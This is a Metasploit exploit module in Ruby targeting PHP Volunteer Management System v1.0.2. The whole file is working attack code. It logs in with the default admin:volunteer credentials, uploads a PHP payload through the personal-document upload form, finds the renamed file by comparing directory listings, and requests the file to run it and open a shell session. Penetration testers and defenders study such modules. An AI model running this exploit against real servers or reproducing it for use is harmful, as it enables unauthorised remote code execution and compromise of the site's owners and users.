rapid7/metasploit-framework

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "PHP Volunteer Management System v1.0.2 Arbitrary File Upload Vulnerability",
      'Description'    => %q{
          This module exploits a vulnerability found in PHP Volunteer Management System,
        version v1.0.2 or prior.  This application has an upload feature that allows an
        authenticated user to upload anything to the 'uploads' directory, which is actually
        reachable by anyone without a credential.  An attacker can easily abuse this upload
        functionality first by logging in with the default credential (admin:volunteer),
        upload a malicious payload, and then execute it by sending another GET request.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Ashoo <ashoo.online[at]gmail.com>',
          'sinn3r' #Metasploit
        ],
      'References'     =>
        [
          ['OSVDB', '82391'],
          ['EDB', '18941'],
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['PHP Volunteer Management 1.0.2', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-05-28',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the web application', '/bf102/']),
        OptString.new('USERNAME',  [true, 'The username to login', 'admin']),
        OptString.new('PASSWORD',  [true, 'The password to login', 'volunteer'])
      ])
  end


  #
  # Login to the web application.
  # When you send the very first request to the app, you're assigned with a cookie called
  # 'PHPVolunteerManagent'.  This is something you must keep, because after authentication,
  # that same cookie becomes your auth token.
  #
  def login(base, username, password)
    # Get cookie: PHPVolunteerManagent
    res = send_request_raw({
      'method' => 'GET',
      'uri'    => "#{base}index.php"
    })

    # If we don't get a cookie, bail!
    if res and res.get_cookies =~ /(PHPVolunteerManagent=\w+);*/
      cookie = $1
      vprint_status("Found cookie: #{cookie}")
    else
      return nil
    end

    # Find the location for login
    login_location = res.headers['Location'] || '?p=login'

    # And then login!
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => "#{base}index.php#{login_location}",
      'cookie'    => cookie,
      'vars_post' => {
        'volunteer_email'    => username,
        'volunteer_password' => password,
        'submit'             => 'Login!'
      }
    })

    # If the app wants to redirect us to the dashboard, we
    # assume the login was successful
    if res and res.headers['Location'] =~ /\?p\=dashboard/
      return cookie
    else
      return nil
    end
  end


  #
  # Upload the payload as a personal document.
  # This will save the file in: mods/documents/uploads/
  # And then we return the HTTP response, which should contain some message indicating
  # whether we successfully uploaded the file, or not.
  #
  def upload(base, cookie, fname, file, description)
    boundary = "----WebKitFormBoundary#{rand_text_alpha(10)}"

    endpoint = "#{rhost}"
    endpoint << ":#{rport}" if rport.to_i != 80

    data_post  = "--#{boundary}\r\n"
    data_post << "Content-Disposition: form-data; name=\"file\"; filename=\"#{fname}\"\r\n"
    data_post << "Content-Type: text/php\r\n"
    data_post << "\r\n"
    data_post << file
    data_post << "\r\n"
    data_post << "--#{boundary}\r\n"
    data_post << "Content-Disposition: form-data; name=\"description\"\r\n"
    data_post << "\r\n"
    data_post << description
    data_post << "\r\n"
    data_post << "--#{boundary}\r\n"
    data_post << "Content-Disposition: form-data; name=\"submit\"\r\n"
    data_post << "\r\n"
    data_post << "Submit"
    data_post << "\r\n"
    data_post << "--#{boundary}--\r\n"

    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => "#{base}index.php?p=upload_personal_document",
      'cookie'  => cookie,
      'ctype'   => "multipart/form-data; boundary=#{boundary}",
      'data'    => data_post,
      'headers' => {
        'Referer' => "http://#{endpoint}#{base}index.php?p=upload_personal_document"
      }
    })

    return res
  end


  #
  # Find all the new files from the 'uploads' directory.
  # This trick is necessary, because when we upload a file, our filename
  # is renamed to something else with a timestamp.  Since we cannot reliability
  # guess what the filename is going to be, we can at least compare both before/after
  # snapshots to figure it out.
  #
  def get_my_file(before, after)
    r = /\<td\>\<a href\=\"(\d{4}\-\d{2}\-\d{2}\_\d+\-\d+\-\d+\_\d+\.\w+)\"\>\d{4}\-\d{2}\-\d{2}\_\d+\-\d+\-\d+\_\d+\.\w+\<\/a\>\<\/td\>/
    b = (before.scan(r) || []).flatten
    a = (after.scan(r)  || []).flatten

    # Return all the new uploads
    return a - b
  end


  #
  # This function will return the raw HTTP response like a snapshot,
  # which later can be used for comparision.
  #
  def peek_uploads(base, cookie)
    res = send_request_raw({
      'method' => 'GET',
      'uri'    => "#{base}mods/documents/uploads/",
      'cookie' => cookie
    })

    return res
  end


  #
  # The exploit function does exploity things
  #
  def exploit
    base = normalize_uri(target_uri.path)
    base << '/' if base[-1, 1] != '/'

    # Login
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    cookie = login(base, username, password)
    if cookie.nil?
      print_error("Login failed with \"#{username}:#{password}\"")
      return
    end

    print_good("Login Successful (#{username}:#{password})")

    # Take a snapshot of the uploads directory
    # Viewing this doesn't actually require the user to login first,
    # but we supply the cookie anyway to act more like a real user.
    print_status("Enumerating all the uploads...")
    before = peek_uploads(base, cookie)
    if before.nil?
      print_error("Unable to enumerate original uploads")
      return
    end

    # Upload our PHP shell
    print_status("Uploading PHP payload (#{payload.encoded.length.to_s} bytes)")
    fname = rand_text_alpha(rand(10)+6) + '.php'
    desc  = rand_text_alpha(rand(10)+5)
    php   = %Q|<?php #{payload.encoded} ?>|
    res = upload(base, cookie, fname, php, desc)
    if res.nil? or res.body !~ /The file was successfuly uploaded/
      print_error("Failed to upload our file")
      return
    end

    # Now that we've uploaded our shell, let's take another snapshot
    # of the uploads directory.
    print_status("Enumerating new uploads...")
    after = peek_uploads(base, cookie)
    if after.nil?
      print_error("Unable to enumerate latest uploads")
      return
    end

    # Find the filename of our uploaded shell
    files = get_my_file(before.body, after.body)
    if files.empty?
      print_error("No new file(s) found. The upload probably failed")
      return
    else
      vprint_status("Found these new files: #{files.inspect}")
    end

    # There might be more than 1 new file, at least execute the first 10
    # just to make sure.  Don't want to try too many either.
    counter = 0
    files.each do |f|
      counter += 1
      break if counter > 10
      print_status("Trying file: #{f}")
      send_request_raw({
        'method' => 'GET',
        'uri'    => normalize_uri(base, 'mods/documents/uploads/', f),
        'cookie' => cookie
      })
    end

    handler
  end
end